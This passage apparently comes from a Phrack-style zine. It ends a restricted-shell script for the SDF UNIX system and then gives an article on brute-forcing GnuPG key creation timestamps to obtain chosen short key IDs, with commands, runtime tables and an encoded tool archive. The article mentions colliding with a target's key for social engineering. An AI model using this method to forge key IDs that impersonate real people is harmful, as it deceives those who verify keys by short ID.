||
|
snake) Move $command
|
||
|
/usr/pkg/games/snake;;
|
||
|
wanderer) Move $command
|
||
|
/usr/pkg/games/wand;;
|
||
|
worm) Move $command
|
||
|
/usr/pkg/games/worm;;
|
||
|
greed) Move $command
|
||
|
/usr/pkg/games/greed;;
|
||
|
tetris) Move $command
|
||
|
/usr/pkg/games/tetris;;
|
||
|
sokoban) Move $command
|
||
|
/usr/pkg/games/sokoban;;
|
||
|
robots) Move $command
|
||
|
/usr/pkg/games/robots;;
|
||
|
torus) Move $command
|
||
|
/usr/pkg/games/torus;;
|
||
|
mazewar) /usr/local/bin/mazewar;;
|
||
|
mdg) /usr/local/bin/mdg
|
||
|
if [ "$?" != "0" ]
|
||
|
then echo "\nMDG might not be running at the moment"
|
||
|
echo "Please try again later."
|
||
|
fi;;
|
||
|
dict*) args=`echo $command|awk '{print $2}'`
|
||
|
dict $args
|
||
|
;;
|
||
|
quote*) args=`echo $command|awk '{print $2}'`
|
||
|
quote $args
|
||
|
;;
|
||
|
cal*) args=`echo $command|awk '{print $2}'`
|
||
|
cal $args
|
||
|
;;
|
||
|
domains) /usr/local/bin/domains ;;
|
||
|
unix) unix ;;
|
||
|
linux) linux;;
|
||
|
dig*) domain=`echo $command|awk '{print $2" "$3" "$4" "$5" "$6" "$7" "$8}'`
|
||
|
dig $domain
|
||
|
;;
|
||
|
host*) domain=`echo $command|awk '{print $2" "$3" "$4" "$5" "$6" "$7" \
|
||
|
"$8}'`
|
||
|
host $domain
|
||
|
;;
|
||
|
geoip*) domain=`echo $command|awk '{print $2}'`
|
||
|
geoip $domain
|
||
|
;;
|
||
|
whois*) domain=`echo $command|awk '{print $2}'`
|
||
|
jwhois $domain
|
||
|
;;
|
||
|
nslookup*) domain=`echo $command|awk '{print $2}'`
|
||
|
nslookup $domain
|
||
|
;;
|
||
|
pkg_info) pkg_info 2>/dev/null|sort|more ;;
|
||
|
lynx*restrict*) echo $command|mailx -s "$LOGNAME" smj;;
|
||
|
lynx*) url=`echo $command|awk '{print $2}'`
|
||
|
if [ "$url" = "" ]
|
||
|
then lynx -anonymous -restrictions=all http://sdf.lonestar.org
|
||
|
else case $url in
|
||
|
http:*) ;;
|
||
|
*) url="http://$url" ;;
|
||
|
esac
|
||
|
lynx -anonymous -restrictions=all $url
|
||
|
fi
|
||
|
;;
|
||
|
|
||
|
edit*|vi*|pico*|emacs*) file=`echo $command|awk '{print $2}'`
|
||
|
if [ "$file" = "" ]
|
||
|
then echo "usage: edit {file}"
|
||
|
else case $file in
|
||
|
*../*|*.kshrc*|*.bashrc*|*.pshrc*|*.muttrc*|*.telnet*|*.mailcap*|*. \
|
||
|
forward*|*.plan*|*.cfg*|*.history*) echo "usage: edit {file}";;
|
||
|
*) /usr/pkg/bin/pico -t -b -o $HOME $PWD/$file ;;
|
||
|
esac
|
||
|
fi
|
||
|
;;
|
||
|
man*) man `echo $command|awk '{print $2}'`;;
|
||
|
rm*) target=`echo $command|awk '{print $2}'`
|
||
|
if [ "`echo $command|awk '{print $3}'`" != "" ] || [ "$target" = "" ]
|
||
|
then echo "usage: rm {filename}"
|
||
|
else case $target in
|
||
|
*.history*|*psh*|*.hushlogin*) echo "Can't remove $target";;
|
||
|
*) if [ -d $target ]
|
||
|
then rm -rf $target
|
||
|
else rm $target
|
||
|
fi;;
|
||
|
esac
|
||
|
fi;;
|
||
|
mv*) oldname=`echo $command|awk '{print $2}'`
|
||
|
newname=`echo $command|awk '{print $3}'`
|
||
|
if [ "`echo $command|awk '{print $4}'`" != "" ] || [ "$oldname" = "" ] || \
|
||
|
[ "$newname" = "" ]
|
||
|
then echo "usage: mv {oldfile} {newfile}"
|
||
|
else case $oldname$newname in
|
||
|
*.muttc*|*.kshrc*|*.mailcap*|*.telnet*|*.plan*|*html*|*.forward*|*. \
|
||
|
history*|*psh*|*.hushlogin*|*.cfg*) echo "Cant move $oldname to $newname";;
|
||
|
*) mv $oldname $newname ;;
|
||
|
esac
|
||
|
fi;;
|
||
|
ping*) /sbin/ping -c5 `echo $command|awk '{print $2}'`;;
|
||
|
teach) cat ~ftp/pub/sdf/faq/TEACH/01;;
|
||
|
traceroute*) traceroute `echo $command|awk '{print $2}'` & ;;
|
||
|
games) games;;
|
||
|
disk) disk;;
|
||
|
df*) df `echo $command|awk '{print $2}'` ;;
|
||
|
oneliner) /usr/pkg/bin/oneliner;;
|
||
|
rogue) /usr/pkg/games/rogue ;;
|
||
|
hack) /usr/pkg/games/hack ;;
|
||
|
nethack) /usr/pkg/bin/nethack ;;
|
||
|
hunt*) echo
|
||
|
echo "hunt commands:"
|
||
|
echo
|
||
|
echo "j - down"
|
||
|
echo "k - up"
|
||
|
echo "h - right"
|
||
|
echo "l - right"
|
||
|
echo "1 - gun"
|
||
|
echo "2 - grenade"
|
||
|
echo "3 - bomb"
|
||
|
echo "q - quit"
|
||
|
echo
|
||
|
echo "the shift key plus j,k,h or l changes direction"
|
||
|
echo
|
||
|
/usr/pkg/games/hunt `echo $command|awk '{print $2}'`;;
|
||
|
upload) echo "press CTRL-X several times to abort."
|
||
|
lrz -y;;
|
||
|
mkdir) directory=`echo $command|awk '{print $2}'`
|
||
|
case $directory in
|
||
|
*html*|*.plan*) echo "usage: mkdir {name}";;
|
||
|
*) mkdir $directory;;
|
||
|
esac;;
|
||
|
#mkhomepg*|mkhome*) mkhomepg `echo $command|awk '{print $2}'`;;
|
||
|
mkhomepg*|mkhome*) echo "mkhomepg has been temporarily disabled for"
|
||
|
echo "prevalidated users." ;;
|
||
|
|
||
|
vhost) echo
|
||
|
echo " As a lifetime ARPA member, you can increase your membership level"
|
||
|
echo " so that you may virtually host your own domain name on SDF. This"
|
||
|
echo " includes DNS, mail service and virtual webhosting. For more info"
|
||
|
echo " check out the FAQ: file"
|
||
|
echo ;;
|
||
|
help) Menu;;
|
||
|
profiles) /usr/pkg/bin/profiles ;;
|
||
|
#freeirc) echo "% 'freeirc' is available to ALL validated users from"
|
||
|
echo "Friday 23:59:59"
|
||
|
# echo " through Monday 00:00:01 UTC. Please 'validate' your account"
|
||
|
# echo "today!" ;;
|
||
|
user) echo "\nValidated users (\$1.00 or more) have immediate access to:\n"
|
||
|
echo " 200mb total (home, web, mail & gopher)"
|
||
|
echo " incoming file transfers via ftp or sftp"
|
||
|
echo " elm, pine, mutt, mailx, rmail, pop3, gopher"
|
||
|
echo " bash, ash, ksh, tcsh, rc, zsh, tclsh"
|
||
|
echo " your URL http://$LOGNAME.freeshell.org"
|
||
|
echo " limited cgi execution (shell scripts)"
|
||
|
echo " icq, aim, talk, commode, bboard"
|
||
|
echo " dialup ppp/shell access in the US and Canada"
|
||
|
echo " USENET and ClariNET read/post access"
|
||
|
echo " freeirc on Saturdays and Sundays"
|
||
|
echo " hundreds of UNIX utilities"
|
||
|
echo
|
||
|
echo "The purpose of the prevalidated account is to help newusers"
|
||
|
echo "learn about the UNIX system. Type 'unix' to see what UNIX"
|
||
|
echo "commands are available to you right now. You can validate"
|
||
|
echo "your account today! type 'validate' to validate\n";;
|
||
|
env) env;;
|
||
|
set) set;;
|
||
|
#delme) delme;;
|
||
|
bboard) /usr/pkg/bin/bboard;;
|
||
|
eggdrop*) echo "% eggdrop is available to MetaARPA members only" ;;
|
||
|
psybnc*) echo "% psybnc is available to MetaARPA members only" ;;
|
||
|
arpa|join|member) arpa;;
|
||
|
auction) auction;;
|
||
|
cat*|more*|less*) file=`echo $command|awk '{print $2}'`
|
||
|
case $file in
|
||
|
*psh*) file="" ;;
|
||
|
*random*|*null*|*zero*) echo "% Ja tvoi sluga ja tvoi rabotnik";file="" ;;
|
||
|
esac
|
||
|
if [ "$file" = "" ]
|
||
|
then echo "usage: cat {filename}"
|
||
|
else if [ "`wc -l $file|awk '{print $1}'`" -ge "500" ]
|
||
|
then tail -500 $file
|
||
|
else cat $file
|
||
|
fi
|
||
|
fi;;
|
||
|
software*) /usr/local/bin/software `echo $command|awk '{print $2}'` ;;
|
||
|
cd*) cd `echo $command|awk '{print $2}'`;;
|
||
|
finger*) user=`echo $command|awk '{print $2}'`
|
||
|
case ${user} in
|
||
|
*-*) user=root ;;
|
||
|
esac
|
||
|
size=`ruptime -a|awk 'END {print $1}'`
|
||
|
if [ "$user" = "" ]
|
||
|
then echo "You are on `uname -n` among $size users. ('validate' to see"
|
||
|
echo "usernames)"
|
||
|
else finger -m $user
|
||
|
fi ;;
|
||
|
date) date ;;
|
||
|
whereis*) whereis `echo $command|awk '{print $2}'`;;
|
||
|
locate*) locate `echo $command|awk '{print $2}'` ;;
|
||
|
whoami*) /usr/bin/whoami ;;
|
||
|
who|w|ps*|last*)
|
||
|
size=`ruptime -a|awk 'END {print $1}'`
|
||
|
echo "You are on `uname -n` among $size users. ('validate' to see"
|
||
|
echo "usernames)" ;;
|
||
|
uptime|ruptime*) ruptime -a;;
|
||
|
chmod*) chmod `echo $command|awk '{print $2" "$3}'` ;;
|
||
|
ls*|ll*|dir*) if [ "$COLOR" = "TRUE" ]
|
||
|
then /usr/pkg/bin/colorls -a `echo $command|awk '{print $2}'|tr R r`
|
||
|
else ls -a `echo $command|awk '{print $2}'|tr R r`
|
||
|
fi ;;
|
||
|
sl*) /usr/pkg/bin/sl ;;
|
||
|
pwd) pwd;;
|
||
|
msg) msg ;;
|
||
|
# ps*) ps `echo $command|awk '{print $2}'` ;;
|
||
|
validate) Validate ;;
|
||
|
mil) /usr/local/bin/mil ;;
|
||
|
why) echo
|
||
|
echo "It didn't used to be this way .. but you must understand that your"
|
||
|
echo "small token of trust builds a better SDF for all of us:"
|
||
|
echo
|
||
|
echo "Due to the increased number of security and spam attacks, we are now"
|
||
|
echo "asking that you send ONE US Dollar (or 5 EURO note) as a token of"
|
||
|
echo "your sincerity in becoming a longterm member of our community. It is"
|
||
|
echo "unfortunate that the net has become filled with people whose daily"
|
||
|
echo "goal in life is to terriorize others online. We believe that asking"
|
||
|
echo "for ONE US Dollar would not present a burden"
|
||
|
echo "to anyone in the world. We hope to keep SDF a safe and secure haven"
|
||
|
echo "for you and other shell users. To get an SDF bumper sticker, send in"
|
||
|
echo "TWO US Dollars and a SASE (Self-Addressed Stamped Envelope). Please"
|
||
|
echo "include your username."
|
||
|
echo
|
||
|
echo " SDF public access UNIX system"
|
||
|
echo " Post Office Box 17355"
|
||
|
echo " Seattle WA 98127 USA"
|
||
|
echo;;
|
||
|
w*) size=`ruptime -a|awk 'END {print $1}'`
|
||
|
echo "You are on `uname -n` among $size users. ('validate' to see"
|
||
|
echo "usernames)" ;;
|
||
|
|
||
|
alpine*|pine*|mail*|mutt*|elm*) case `echo $command|awk '{print $2}'` in
|
||
|
-*) echo "unknown mail flag." ;;
|
||
|
*) mutt -F /sys/pkg/etc/rmuttrc ;;
|
||
|
esac;;
|
||
|
*irc*|bitchx*|irssi*|epic*|freeirc*)
|
||
|
#tetrinet $LOGNAME tetrinet.sdf.org ;;
|
||
|
echo "-=- Basic IRC Commands -=-"
|
||
|
echo
|
||
|
echo "/list - List channels"
|
||
|
echo "/join #channel - Join a channel"
|
||
|
echo "/list #channel - Leave a channel"
|
||
|
echo "/msg nick msg - Send a private message"
|
||
|
echo "/who - Who is on"
|
||
|
echo "/quit - Quit IRC"
|
||
|
echo
|
||
|
echo "-(continue)-\c"
|
||
|
read ret
|
||
|
/usr/pkg/bin/oirc -p 7000 ${LOGNAME} irc.sdf.org
|
||
|
#/usr/pkg/bin/oirc -p 6667 ${LOGNAME} irc.sdf.org
|
||
|
echo ;;
|
||
|
|
||
|
com|chat|commode) \
|
||
|
room=`/usr/pkg/bin/comwho|head -3|tail -1|awk '{print $1}'`
|
||
|
echo "ROOMNAME=$room" > $HOME/.comrc
|
||
|
/usr/pkg/bin/com ;;
|
||
|
pcom|pcommode) room=`/usr/pkg/bin/pcomwho|head -3|tail -1|awk '{print $1}'`
|
||
|
echo "ROOMNAME=$room" > $HOME/.comrc
|
||
|
/usr/pkg/bin/pcom ;;
|
||
|
ttytter*|twitter*) echo "% Twitter username (or [RETURN] for anonymous):\c"
|
||
|
read tweet
|
||
|
if [ "$tweet" = "" ]
|
||
|
then echo "% Logging in anonymously"
|
||
|
/usr/local/bin/ttytter -anonymous
|
||
|
else /usr/local/bin/ttytter -user=$tweet
|
||
|
fi ;;
|
||
|
w2k) /usr/local/bin/w2k ;;
|
||
|
mkgopher) mkgopher;;
|
||
|
faq) faq;;
|
||
|
clear) clear;;
|
||
|
usenet|trn*|tin*|slrn*|nn*|rn*) echo "% USENET is available to validated"
|
||
|
echo "users." ;;
|
||
|
die) echo "you has failed."
|
||
|
sleep 4
|
||
|
exit 0 ;;
|
||
|
logout|leave|bye|quit|exit|escape|terminate|cease|logoff|end)
|
||
|
clear
|
||
|
#echo "Would you like to remove your account from our system? (y/n) \c"
|
||
|
#read ans
|
||
|
# case $ans in
|
||
|
# y*|Y*) delme ;;
|
||
|
# *) echo "% '$LOGNAME' will not be deleted." ;;
|
||
|
# esac
|
||
|
echo "Good Bye from the S D F - 1 .."
|
||
|
echo
|
||
|
echo "Please 'validate' or join 'arpa' soon."
|
||
|
echo "Your support is appreciated!"
|
||
|
echo
|
||
|
echo "Thank you!"
|
||
|
sleep 8
|
||
|
exit 0;;
|
||
|
uinfo|expire) uinfo;expire ;;
|
||
|
dues) /usr/pkg/bin/dues ${arg} ;;
|
||
|
#helpdesk) /usr/pkg/bin/helpdesk ;;
|
||
|
guestbook) /usr/pkg/bin/guestbook ;;
|
||
|
id*) /usr/bin/id ${arg} ;;
|
||
|
nospam) echo "You must be validated to use this feature."
|
||
|
;;
|
||
|
*) if [ "$command" != "" ]
|
||
|
then echo "psh: $command: not found - try 'help' for commands"
|
||
|
else if [ "$count" -gt "20" ]
|
||
|
then exit 0
|
||
|
else count=`expr $count + 1`
|
||
|
fi
|
||
|
fi;;
|
||
|
esac
|
||
|
doneecho "
|
||
|
|
||
|
|
||
|
|=[ 0x04 ]=---=[ Personalized PGP Key IDs - f1los0tt1l3 ]=---------------=|
|
||
|
|
||
|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=-----------=[ Personalized PGP Key IDs for fun and profit ]=-----------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=---------------------------=[ f1los0tt1l3 ]=---------------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|
||
|
|
||
|
---[ Contents
|
||
|
|
||
|
1 - Introduction
|
||
|
1.1 - Prior work
|
||
|
2 - The spec
|
||
|
3 - The attack
|
||
|
3.1 - Preparation
|
||
|
3.2 - The crash
|
||
|
3.2.1 - Runtime stats
|
||
|
3.3 - The patch
|
||
|
4 - Conclusion
|
||
|
5 - References
|
||
|
6 - Code
|
||
|
|
||
|
---[ 1 - Introduction
|
||
|
|
||
|
Everybody should be allowed to have his (or someone's) own PGP key ID. Who
|
||
|
doesn't want his PGP key to match his favorite hex nickname or his
|
||
|
target's key for some cheap social engineering? I certainly want, so I
|
||
|
started researching how they are derived and if they could be bruteforced.
|
||
|
|
||
|
Note: when we speak about key IDs here we mean the 4-byte short ones that
|
||
|
everybody love to use. However, given enough processing power (or maybe a
|
||
|
SHA1 ASIC|preimage attack) the process can obviously scale to any key ID
|
||
|
length.
|
||
|
|
||
|
-----[ 1.1 - Prior work
|
||
|
|
||
|
GIYF, right? Well, a couple people tried this and lived to tell the tale
|
||
|
(or, well, decided to make it public) but none of them permitted me to get
|
||
|
a 4096 bit RSA key as I wanted it.
|
||
|
|
||
|
In May 2010, halfdog posted on full-disclosure [1] some Java code that
|
||
|
worked on DSA keys. Not exactly fast or customizable, but hey, it was 3
|
||
|
years ago.
|
||
|
|
||
|
Then, in Dec 2011, Asheesh, a Debian dev particularly fond of his key ID,
|
||
|
found a way to create a new RSA 4096 key with that ID (and a bug in GnuPG
|
||
|
handling of duplicate keys) [2]. He highlighted the disruptive potential
|
||
|
of that and decided not to release the code. Bummer.
|
||
|
|
||
|
But the keyservers carry even older evidence (even if one shouldn't trust
|
||
|
the key creation field, especially on these keys): the first example of
|
||
|
custom IDs I could find is
|
||
|
|
||
|
pub 1024R/A69AB99CDEADBEEF 1995-09-28
|
||
|
|
||
|
that actually employs a old packet type.
|
||
|
|
||
|
So we are not doing anything truly new, but there's still not a public
|
||
|
method to get an arbitrary key with an arbitrary key ID.
|
||
|
|
||
|
---[ 2 - The spec
|
||
|
|
||
|
So, let's get our hands dirty: grab the OpenPGP spec, RFC 4880 [3], and
|
||
|
look up how are those key IDs derived [RFC 4880 - 12.2].
|
||
|
|
||
|
--------------[ RFC 4880 - 12.2. Key IDs and Fingerprints ]---------------
|
||
|
|
||
|
For a V3 key, the eight-octet Key ID consists of the low 64 bits of
|
||
|
the public modulus of the RSA key.
|
||
|
|
||
|
---------------------------------------------------------------------------
|
||
|
|
||
|
Woah, that easy? No, it's not. Version 3 keys are deprecated [RFC 4880 -
|
||
|
5.5.2], for a bad reason - key IDs collisions, ahem - and a good reason -
|
||
|
MD5. So, as we don't want to build our new shiny RSA 4098 on MD5, let's
|
||
|
move on to V4 keys.
|
||
|
|
||
|
--------------[ RFC 4880 - 12.2. Key IDs and Fingerprints ]---------------
|
||
|
|
||
|
A V4 fingerprint is the 160-bit SHA-1 hash of the octet 0x99,
|
||
|
followed by the two-octet packet length, followed by the entire
|
||
|
Public-Key packet starting with the version field. The Key ID is the
|
||
|
low-order 64 bits of the fingerprint.
|
||
|
|
||
|
---------------------------------------------------------------------------
|
||
|
|
||
|
Great, so what's in a Public-Key packet?
|
||
|
|
||
|
-------------[ RFC 4880 - 5.5.2. Public-Key Packet Formats ]--------------
|
||
|
|
||
|
A version 4 packet contains:
|
||
|
|
||
|
- A one-octet version number (4).
|
||
|
|
||
|
- A four-octet number denoting the time that the key was created.
|
||
|
|
||
|
- A one-octet number denoting the public-key algorithm of this key.
|
||
|
|
||
|
- A series of multiprecision integers comprising the key material.
|
||
|
|
||
|
---------------------------------------------------------------------------
|
||
|
|
||
|
Note: numbers are big-endian [RFC 4880 - 3.1]
|
||
|
|
||
|
So the variable parts are the creation timestamp and the key material. The
|
||
|
key material is a bunch of algorithm-specific MPI [RFC 4880 - 3.2] which
|
||
|
can't be tampered with without changing their value.
|
||
|
|
||
|
One might also try to add garbage to the packet, but implementations strip
|
||
|
it. Bummer.
|
||
|
|
||
|
---[ 3 - The attack
|
||
|
|
||
|
Great, we know what constitutes the key ID, and we know that we can tamper
|
||
|
with the key creation value and/or with the RSA/DSA/Elgamal parameters. I
|
||
|
decided to only loop through the key creation field for a simple reason: I
|
||
|
don't trust a crappy tool written by me with RSA primes selection, in
|
||
|
particular in a scenario like this where a lot of different primes are
|
||
|
needed, as skews can lead to disastrous consequences [4].
|
||
|
|
||
|
After all entropy usage couldn't be optimized much and at least this way
|
||
|
we have the peace of mind of GnuPG generated keys.
|
||
|
|
||
|
So we will simply build a bruteforce on the key creation timestamp value.
|
||
|
|
||
|
-----[ 3.1 - Preparation
|
||
|
|
||
|
Ok, let's dive in. First of all fence your GnuPG env, to avoid cluttering
|
||
|
or damaging your own.
|
||
|
|
||
|
$ mkdir -m 700 GNUPGHOME && export GNUPGHOME=`pwd`/GNUPGHOME
|
||
|
|
||
|
Now we need to generate a pool of enough keys to have a fair chance of
|
||
|
finding a match, but how many? Well, obviously it depends on the number of
|
||
|
seconds in the time frame we consider acceptable for the key creation time.
|
||
|
|
||
|
Let's dive into some math. Since SHA1 is unbiased each try is independent
|
||
|
and for each try we have a fixed probability of finding a match: one into
|
||
|
the number of different possible suffixes = 1 / 2^32.
|
||
|
|
||
|
So, the only thing that matters is how many tries we can do. This number
|
||
|
is s (seconds in the time frame) * x (number of keys in the pool).
|
||
|
|
||
|
The probability of finding a match in k tries is 1 less the probability of
|
||
|
failing all of them [5] and this last is (prob of failing one) ^ k =
|
||
|
((2^32 - 1) / 2^32) ^ k.
|
||
|
|
||
|
Here are the final formula and a handy table:
|
||
|
|
||
|
2^32 - 1 s * x s = seconds in the time frame
|
||
|
y = 1 - ( -------- ) x = number of keys in the pool
|
||
|
2^32 y = probability of a success
|
||
|
|
||
|
+--------------+------+------+------+------+------+
|
||
|
| frame \ prob | 0.50 | 0.75 | 0.90 | 0.95 | 0.99 |
|
||
|
+--------------+------+------+------+------+------+
|
||
|
| past | 3 | 5 | 8 | 10 | 15 |
|
||
|
+--------------+------+------+------+------+------+
|
||
|
| 5y | 19 | 38 | 63 | 82 | 126 |
|
||
|
+--------------+------+------+------+------+------+
|
||
|
| 1y | 95 | 189 | 314 | 408 | 628 |
|
||
|
+--------------+------+------+------+------+------+
|
||
|
|
||
|
For a fancy 3D graph you can plot the probability on a (years in the time
|
||
|
frame X keys in the keypool) space [6]:
|
||
|
|
||
|
y = 1 - ((2 ^ 32 - 1) / 2 ^ 32) ^ (60 * 60 * 24 * 365 * a * x)
|
||
|
|
||
|
GnuPG has a convenient function to generate keys in batch mode:
|
||
|
|
||
|
$ gpg --no-default-keyring --secret-keyring ./secpool.gpg \
|
||
|
--keyring ./pubpool.gpg --trustdb-name ./trustpool.gpg \
|
||
|
--gen-key --batch batchfile.txt
|
||
|
|
||
|
# batchfile.txt
|
||
|
Key-Type: RSA
|
||
|
Key-Length: 4096
|
||
|
Name-Real: Filippo Valsorda
|
||
|
Name-Comment: f1los0tt1l3
|
||
|
Name-Email: f1los0tt1l3@phrack.com
|
||
|
Expire-Date: 0
|
||
|
|
||
|
Note: it does not matter what you set in the Name-* fields, as we are
|
||
|
going to discard the uid to create a validly signed one later.
|
||
|
|
||
|
Set it to run the number of times you want, maybe plug in haveged [7], a
|
||
|
Geiger or a radio producing white noise and... uh, go grab a coffee.
|
||
|
|
||
|
-----[ 3.2 - The crash
|
||
|
|
||
|
Well, now we have our keypool and we need to bruteforce the key ID out of
|
||
|
it. I wrote a Python 3 + Cython parallelizable implementation, crash.py.
|
||
|
|
||
|
Compile the Cython module with (you'll need Cython and OpenMP):
|
||
|
|
||
|
$ python3 setup.py build_ext --inplace
|
||
|
|
||
|
Note: clang and old gcc versions panicked, I used gcc 4.7.
|
||
|
|
||
|
Then start the bruteforce with
|
||
|
|
||
|
$ python3 crash.py pubpool.gpg NEWKEYID [0xTIMESTAMP]
|
||
|
|
||
|
where 0xTIMESTAMP is the lowest limit to the creation time, if any.
|
||
|
|
||
|
Want to know something cool? The only thing needed to do the bruteforce is
|
||
|
the pubpool, so you can export it out of your crappy airgapped system and
|
||
|
perform the number crushing on some powerful untrusted machine.
|
||
|
|
||
|
You will hopefully get a result like this
|
||
|
|
||
|
Current fingerprint: 9b179a2af2f8a744b2214de4eec578f57e61d52a
|
||
|
Current timestamp: 0x512187c9
|
||
|
NEW fingerprint: d8efd70f8479432e9158ac27eb56af7c42424242
|
||
|
RESULT timestamp: 0x1b550652
|
||
|
|
||
|
------[ 3.2.1 - Runtime stats
|
||
|
|
||
|
The bulk of the heavy-lifting involved in this bruteforce is making the
|
||
|
SHA1 hashes, and one of them is done for each timestamp tried. The number
|
||
|
of tries is clearly independent of the width of the time frame, and grows
|
||
|
with the probability of finding a match. The two - probability and tries -
|
||
|
are bound by a simplified version of the formula above.
|
||
|
|
||
|
2^32 - 1 x
|
||
|
y = 1 - ( -------- ) x = tries / SHA1 hashes
|
||
|
2^32 y = probability of a success
|
||
|
|
||
|
So what matters here is what SHA1 hashrate we manage to get. The crash.py
|
||
|
Cython implementation is quite fast, and achieves 3.0 * 10^6 h/s on a
|
||
|
quad-core 2.3 GHz i7 or 8.3 * 10^6 h/s on a AWS EC2 cc2.8xlarge instance.
|
||
|
|
||
|
Note: this means that a matching key would cost you $0.50 of Spot Instance
|
||
|
as of April 2013.
|
||
|
|
||
|
However, much better can be done: the oclHashcat-plus guys claim a 3.081 *
|
||
|
10^9 SHA1/s on a AMD hd6990 GPU [8]. With an hashrate like that, a match
|
||
|
can be found in a matter of seconds. Writing a high-performance CUDA or
|
||
|
OpenGL implementation is left as an exercise to the reader ;)
|
||
|
|
||
|
Here is a reference table of running times:
|
||
|
|
||
|
+----------------+------+------+------+------+------+
|
||
|
| probability | 0.50 | 0.75 | 0.90 | 0.95 | 0.99 |
|
||
|
+----------------+------+------+------+------+------+
|
||
|
| tries / 10^9 | 2.9 | 5.9 | 9.8 | 12.8 | 19.7 |
|
||
|
+----------------+------+------+------+------+------+
|
||
|
| runtime on i7 | 17m | 33m | 55m | 71m | 110m |
|
||
|
+----------------+------+------+------+------+------+
|
||
|
| runtime on EC2 | 6m | 12m | 20m | 26m | 40m |
|
||
|
+----------------+------+------+------+------+------+
|
||
|
| runtime on GPU | 1s | 2s | 3s | 4s | 6s |
|
||
|
+----------------+------+------+------+------+------+
|
||
|
|
||
|
-----[ 3.3 - The patch
|
||
|
|
||
|
Now we have to patch the key. patch.py, incredibly, does exactly so.
|
||
|
|
||
|
First, export the secret key for which you had the match
|
||
|
|
||
|
$ gpg --no-default-keyring --secret-keyring ./secpool.gpg \
|
||
|
--keyring ./pubpool.gpg --export-secret-keys OLDKEYID > privkey.gpg
|
||
|
|
||
|
Then run patch.py on it, passing it the "RESULT timestamp" from crash.py:
|
||
|
|
||
|
$ python3 patch.py privkey.gpg TIMESTAMP > resultkey.gpg
|
||
|
|
||
|
Finally, force gpg to import the key even if the (invalid) bounding
|
||
|
signature has been stripped:
|
||
|
|
||
|
$ gpg --allow-non-selfsigned-uid --import resultkey.gpg
|
||
|
|
||
|
And restore the bounding signature by creating a new uid:
|
||
|
|
||
|
$ gpg --edit-key NEWKEYID
|
||
|
|
||
|
gpg> adduid
|
||
|
gpg> uid 1
|
||
|
gpg> deluid
|
||
|
gpg> trust
|
||
|
gpg> check
|
||
|
gpg> save
|
||
|
|
||
|
Note: don't create the new uid as an exact copy of the old, otherwise
|
||
|
deluid will delete both of them from the secret key - it's a GnuPG bug.
|
||
|
|
||
|
Done! You now have your new shiny PGP key with a personal key ID. Export
|
||
|
it to your main GnuPG env or whatever.
|
||
|
|
||
|
---[ 4 - Conclusion
|
||
|
|
||
|
Have fun, there are still many interesting uncatched key IDs out there:
|
||
|
0x11111111, 0xabaddeed, 0xaaaaaaaa, 0xg00d1dea, 0x27182818, 0x14142135...
|
||
|
Please just leave 0x31415926, 0x42424242 and 0x13371337 for me ;) and
|
||
|
don't (publicly) duplicate other people's keys.
|
||
|
|
||
|
Finally, I know what you are searching for: the option is --keyid-format
|
||
|
long ;)
|
||
|
|
||
|
---[ 5 - References
|
||
|
|
||
|
[1] "PGP CPU time wasta (never refer to pgp key using 32bit key-id)"
|
||
|
http://seclists.org/fulldisclosure/2010/May/120
|
||
|
[2] "Short key IDs are bad news (with OpenPGP and GNU Privacy Guard)"
|
||
|
http://www.asheesh.org/note/debian/short-key-ids-are-bad-news.html
|
||
|
[3] "OpenPGP Message Format" - Callas, et al - November 2007
|
||
|
https://tools.ietf.org/html/rfc4880
|
||
|
[4] "Cryptanalysis of RSA with Small Prime Difference" - B de Weger - 2002
|
||
|
http://www.enseignement.polytechnique.fr/profs/informatique/Francois.Morain
|
||
|
/Master1/Crypto/projects/Weger02.pdf
|
||
|
[5] Complementary event - Wikipedia
|
||
|
https://en.wikipedia.org/w/index.php?title=Complementary_event&oldid=545752
|
||
|
375#Example_of_the_utility_of_this_concept
|
||
|
[6] y = 1 - ((2 ^ 32 - 1) / 2 ^ 32) ^ (60 * 60 * 24 * 365 * a * x) with a
|
||
|
from 1 to (2013 - 1970) with x from 1 to 200 - Wolfram|Alpha
|
||
|
http://wolfr.am/YxKsTU
|
||
|
[7] haveged - A simple entropy daemon
|
||
|
http://www.issihosts.com/haveged/
|
||
|
[8] oclHashcat-plus - advanced password recovery | Performance section
|
||
|
http://hashcat.net/oclhashcat-plus/
|
||
|
|
||
|
---[ 6 - Code
|
||
|
|
||
|
begin 644 gpg-crash.tar.gz
|
||
|
M'XL(`#0D8E$``^U<^U/;2+;>7^._HI>I#1(1CN47!$*V@"03:O.@@%0RQ;(N
|
||
|
M66YC+;+D*\D8SVSNWWZ_<[KU,D*9S-R9V7O7JDI`W:=/G_[Z]'ETMW`C)YXT
|
||
|
M9\L__89/J]7:Z?4$_^RKGZUV5_W$TVO;?6&W[4ZK:W=V=EJB97?;G=Z?1.NW
|
||
|
M%"I]YG'B1!!E[/EA'":)Y\M*.I"-QS5\U%A$]O/_R//=G\73>1P]'7K!4QG<
|
||
|
MBMDRF81!I]'8V-AHS&/G6NX)5^N(F,V'LS#TF]>S:P'4KF4B+GUOZB57C4:Q
|
||
|
MSHN%(TZ_/Z4&ON>*&[F,O."ZH=N@.IE(,9*Q%\F1B.?CL7=GB7`LG&`IY*T,
|
||
|
MA"^#ZV328.8IO1\N9)R(Q)OBAS.="<>GHI%P8H@HG<0+`S%R$BF\0$SDG3!&
|
||
|
M<NS,_61/M$P>3\.;SL(H$1BL$[N>E[['RSC[-8GF;I*^33!PWQMF#<=.G`P8
|
||
|
MCD9CX243$<YD8*!Y$R.[O;2O++$9#3=-$FF\UQ!X()`C#L2X"0E'AIEB<)`)
|
||
|
MT9P'$-;WQLN<4?NJ*0,W'$G#-!NA/Z)Q'PC#"Y*<IH/.ADXL#^R^*;PQ0995
|
||
|
MFN*%Z`CIQY*&SF-_(R/),!);8!G."-4HG%]/Q,QQ;V02$VY$H:=28$E(3,E(
|
||
|
MC,-(2,>=B%.>S^V_R65#M4'3.)8TW8F<SGP"/PF9R3$K$GJ;SL`&/.:!RS.4
|
||
|
M8]@<>\'(`K63`$W?%TFTI$GE]MDT`\DHG(H@7!!K!88EY@%6JH!R+#WICT@`
|
||
|
M,+N6T0R*EC1D,,(;CX?A;HK#A+F.O0A03IW$G5AB`3`FTKWAFDC&4!5+,`-B
|
||
|
